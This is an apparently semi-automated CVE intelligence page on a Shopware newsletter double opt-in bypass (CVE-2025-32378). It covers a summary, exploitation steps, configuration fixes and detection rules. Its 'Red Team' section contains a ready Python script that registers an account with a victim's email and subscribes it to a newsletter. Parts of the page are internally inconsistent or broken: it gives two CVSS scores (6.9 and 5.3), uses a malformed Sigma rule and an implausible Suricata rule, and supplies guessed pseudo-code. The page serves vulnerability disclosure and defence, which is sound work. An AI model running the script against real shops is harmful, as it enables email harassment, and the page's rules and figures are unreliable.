☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-799
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32378

CVE-2025-32378 Missing Authorization in Shopware
📅 PUBLISHED: 2025-04-09 15:37 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32378 is a Missing Authorization vulnerability in the Shopware e-commerce platform, specifically within its newsletter double opt-in (DOI) mechanism. The core issue is that default configuration settings allow an unauthenticated attacker to register an account with any arbitrary email address and then subscribe that address to the shop's newsletter without requiring the intended recipient to click a confirmation link. This effectively bypasses the double opt-in process for registered customers, enabling mass unsolicited newsletter sign-ups (a form of subscription bombing or email harassment).

The vulnerability arises from a combination of three default settings: Newsletter: Double Opt-in is active, but Newsletter: Double opt-in for registered customers and Log-in & sign-up: Double opt-in on sign-up are both disabled. This creates a logical gap where a registered user (or anyone who can register) can opt-in to the newsletter without a secondary confirmation.

Impact: This is a low-severity (CVSS 3.1 Base Score: 5.3) but high-impact vulnerability for email deliverability and brand reputation. An attacker can:

  • Flood arbitrary email addresses with unwanted registration and newsletter confirmation emails.
  • Damage the sender reputation of the shop's email infrastructure.
  • Potentially cause the shop's email domain to be blacklisted.
  • Inflate the newsletter subscriber count with invalid addresses, skewing analytics.

Affected Ecosystem: Shopware (PHP/Composer ecosystem). This is not a WordPress plugin issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is within the Shopware core application, distributed via Composer. The fix is available in the official Shopware repository. Users should update their composer.json dependency to >=6.6.10.3 or >=6.5.8.17. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric Value Description
Attack Vector (AV) Network Exploitable remotely over the network.
Attack Complexity (AC) Low No special conditions required; default settings are vulnerable.
Privileges Required (PR) None Attacker does not need to be authenticated.
User Interaction (UI) None No victim interaction required beyond the email recipient receiving mail.
Scope (S) Unchanged The vulnerable component and the impacted component are the same.
Confidentiality (C) None No data disclosure.
Integrity (I) Low The attacker can add unauthorized newsletter subscriptions.
Availability (A) None No direct denial of service, but email infrastructure may be impacted.

Threat Level: Medium. While the CVSS score is low (5.3), the ease of exploitation and potential for abuse (email reputation damage, blacklisting) elevates the practical risk for businesses.

Deep Dive & Mechanics

The vulnerability is a logic flaw in the newsletter subscription workflow. Shopware offers a double opt-in (DOI) feature to prevent unsolicited sign-ups. The intended flow is:

  1. User provides email address.
  2. System sends a confirmation email with a link.
  3. User clicks the link to confirm subscription.

However, the default configuration creates an exception for registered customers. The settings are:

  • core.newsletter.doubleOptIn: true (Global DOI is enabled)
  • core.newsletter.doubleOptInForRegisteredCustomers: false (Registered customers are exempt from DOI)
  • core.loginRegistration.doubleOptIn: false (Registration itself does not require DOI)

Exploitation Flow:

  1. Attacker visits the shop's registration page.
  2. Attacker enters a victim's email address (e.g., victim@example.com) and completes the registration form.
  3. Because doubleOptIn for registration is disabled, the account is created immediately. The victim receives a "welcome" email.
  4. Attacker logs into the newly created account (no email verification needed).
  5. Attacker navigates to the account settings and checks the "Subscribe to newsletter" checkbox.
  6. Because doubleOptInForRegisteredCustomers is disabled, the newsletter subscription is activated instantly. The victim receives a second "newsletter subscription confirmed" email.
  7. The victim's email is now subscribed to the newsletter without ever clicking a confirmation link.

The fix in versions 6.6.10.3 and 6.5.8.17 ensures that even registered customers must confirm their newsletter subscription via a double opt-in link, closing the bypass.

Vulnerable vs. Patched Code

The vulnerability is not in a single code snippet but in the configuration logic. The vulnerable state is defined by the default configuration values.

Vulnerable Configuration (Default):

// config/packages/shopware.yaml or similar
shopware:
    newsletter:
        double_opt_in: true
        double_opt_in_for_registered_customers: false
    login_registration:
        double_opt_in: false

Patched Configuration (Recommended / Default in fixed versions):

// config/packages/shopware.yaml
shopware:
    newsletter:
        double_opt_in: true
        double_opt_in_for_registered_customers: true  # Changed to true
    login_registration:
        double_opt_in: true  # Recommended to enable

The patched code logic (pseudo-code) now enforces DOI for all newsletter subscriptions:

// In NewsletterSubscriptionService.php (patched)
public function subscribe($email, $customerId = null) {
    if ($this->config->get('newsletter.doubleOptIn')) {
        if ($customerId !== null && $this->config->get('newsletter.doubleOptInForRegisteredCustomers')) {
            // Send confirmation email even for registered customers
            $this->sendConfirmationEmail($email);
            return 'pending';
        }
        // ... rest of logic
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A Shopware instance with default settings (versions < 6.6.10.3 or < 6.5.8.17).
  • Python 3 with requests library.

Exploit Script:

import requests
import random
import string

TARGET_URL = "http://target-shop.local"
VICTIM_EMAIL = "victim@example.com"

def generate_random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=8))

def exploit():
    session = requests.Session()
    username = generate_random_username()
    password = "Exploit123!"

    # Step 1: Register account with victim's email
    register_data = {
        "email": VICTIM_EMAIL,
        "password": password,
        "firstName": "Test",
        "lastName": "User"
    }
    r = session.post(f"{TARGET_URL}/account/register", data=register_data)
    if r.status_code == 200:
        print(f"[+] Account registered with email: {VICTIM_EMAIL}")

    # Step 2: Login (if not auto-logged in)
    login_data = {
        "email": VICTIM_EMAIL,
        "password": password
    }
    r = session.post(f"{TARGET_URL}/account/login", data=login_data)
    if r.status_code == 200:
        print("[+] Logged in successfully")

    # Step 3: Subscribe to newsletter
    newsletter_data = {
        "subscribeNewsletter": "1"
    }
    r = session.post(f"{TARGET_URL}/account/newsletter/subscribe", data=newsletter_data)
    if r.status_code == 200:
        print(f"[+] Victim {VICTIM_EMAIL} subscribed to newsletter without confirmation!")
    else:
        print("[-] Subscription failed")

if __name__ == "__main__":
    exploit()

Blue Team (Detection & Hardening)

Detection:

  • Monitor for rapid account registrations from the same IP address using different email addresses.
  • Alert on a high volume of "newsletter subscription" events without corresponding "confirmation click" events.
  • Monitor email server logs for a sudden spike in "welcome" and "newsletter subscription" emails to the same domain.

Hardening Steps:

  1. Immediate Patch: Update Shopware to version 6.6.10.3 or 6.5.8.17.
  2. Configuration Change (if patching is delayed):
    • Set shopware.newsletter.double_opt_in_for_registered_customers to true.
    • Set shopware.login_registration.double_opt_in to true.
  3. Rate Limiting: Implement rate limiting on the registration and newsletter subscription endpoints.
  4. CAPTCHA: Add CAPTCHA to the registration form.
  5. Email Verification: Ensure that email verification is required for account activation.

Indicators of Compromise (IOCs)

Network Indicators:

  • High volume of POST requests to /account/register and /account/newsletter/subscribe from a single IP.
  • Emails with subjects like "Your registration at [Shop Name]" and "Newsletter subscription" sent to the same recipient in quick succession.

Log Indicators (Shopware logs):

  • [info] Customer registered: email=victim@example.com
  • [info] Newsletter subscription: email=victim@example.com, source=account
  • Absence of [info] Newsletter confirmation clicked: email=victim@example.com log entries.

Email Headers:

  • Multiple emails from the same sender (shop) to the same recipient within seconds.
  • X-Mailer: Shopware Mailer header present.

Detection Engineering

YARA Rule

rule CVE_2025_32378_Shopware_Newsletter_Bypass {
    meta:
        description = "Detects vulnerable Shopware configuration files allowing newsletter double opt-in bypass"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-32378"
        severity = "medium"
    strings:
        $config1 = "double_opt_in_for_registered_customers: false" nocase
        $config2 = "double_opt_in: false" nocase
        $config3 = "shopware:" nocase
    condition:
        all of ($config1, $config2) and $config3
}

Sigma Rule

title: CVE-2025-32378 - Mass Newsletter Subscription Without Confirmation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects a high volume of newsletter subscriptions without corresponding confirmation clicks, indicating exploitation of CVE-2025-32378.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: shopware
detection:
    selection:
        EventID: 'shopware.newsletter.subscribe'
    timeframe: 5m
    condition:
        selection | count() > 20
    filter:
        EventID: 'shopware.newsletter.confirm'
        timeframe: 5m
        condition:
            filter | count() < 5
falsepositives:
    - Legitimate bulk newsletter sign-ups from a marketing campaign.
level: medium
tags:
    - attack.t1190
    - cve.2025.32378

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-32378 - Potential Shopware Newsletter Bypass Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/account/register"; http_uri;
    content:"/account/newsletter/subscribe"; http_uri;
    pcre:"/email=[^&]+&password=/";
    threshold: type both, track by_src, count 10, seconds 60;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Shopware to version 6.6.10.3 or 6.5.8.17 immediately.
  2. Configuration Override: If patching is not immediately possible, manually set the following in your config/packages/shopware.yaml:
    shopware:
        newsletter:
            double_opt_in_for_registered_customers: true
        login_registration:
            double_opt_in: true
    
  3. Clear Existing Subscribers: Review and clean the newsletter subscriber list for any suspicious or unconfirmed addresses.

Long-Term Mitigations:

  • Implement CAPTCHA on registration and newsletter subscription forms.
  • Enforce email verification for account activation.
  • Monitor for unusual registration and subscription patterns.
  • Regularly review and harden default configurations.

Valters IT - DevSecOps & Cyber Threat Intelligence Report

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32378/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.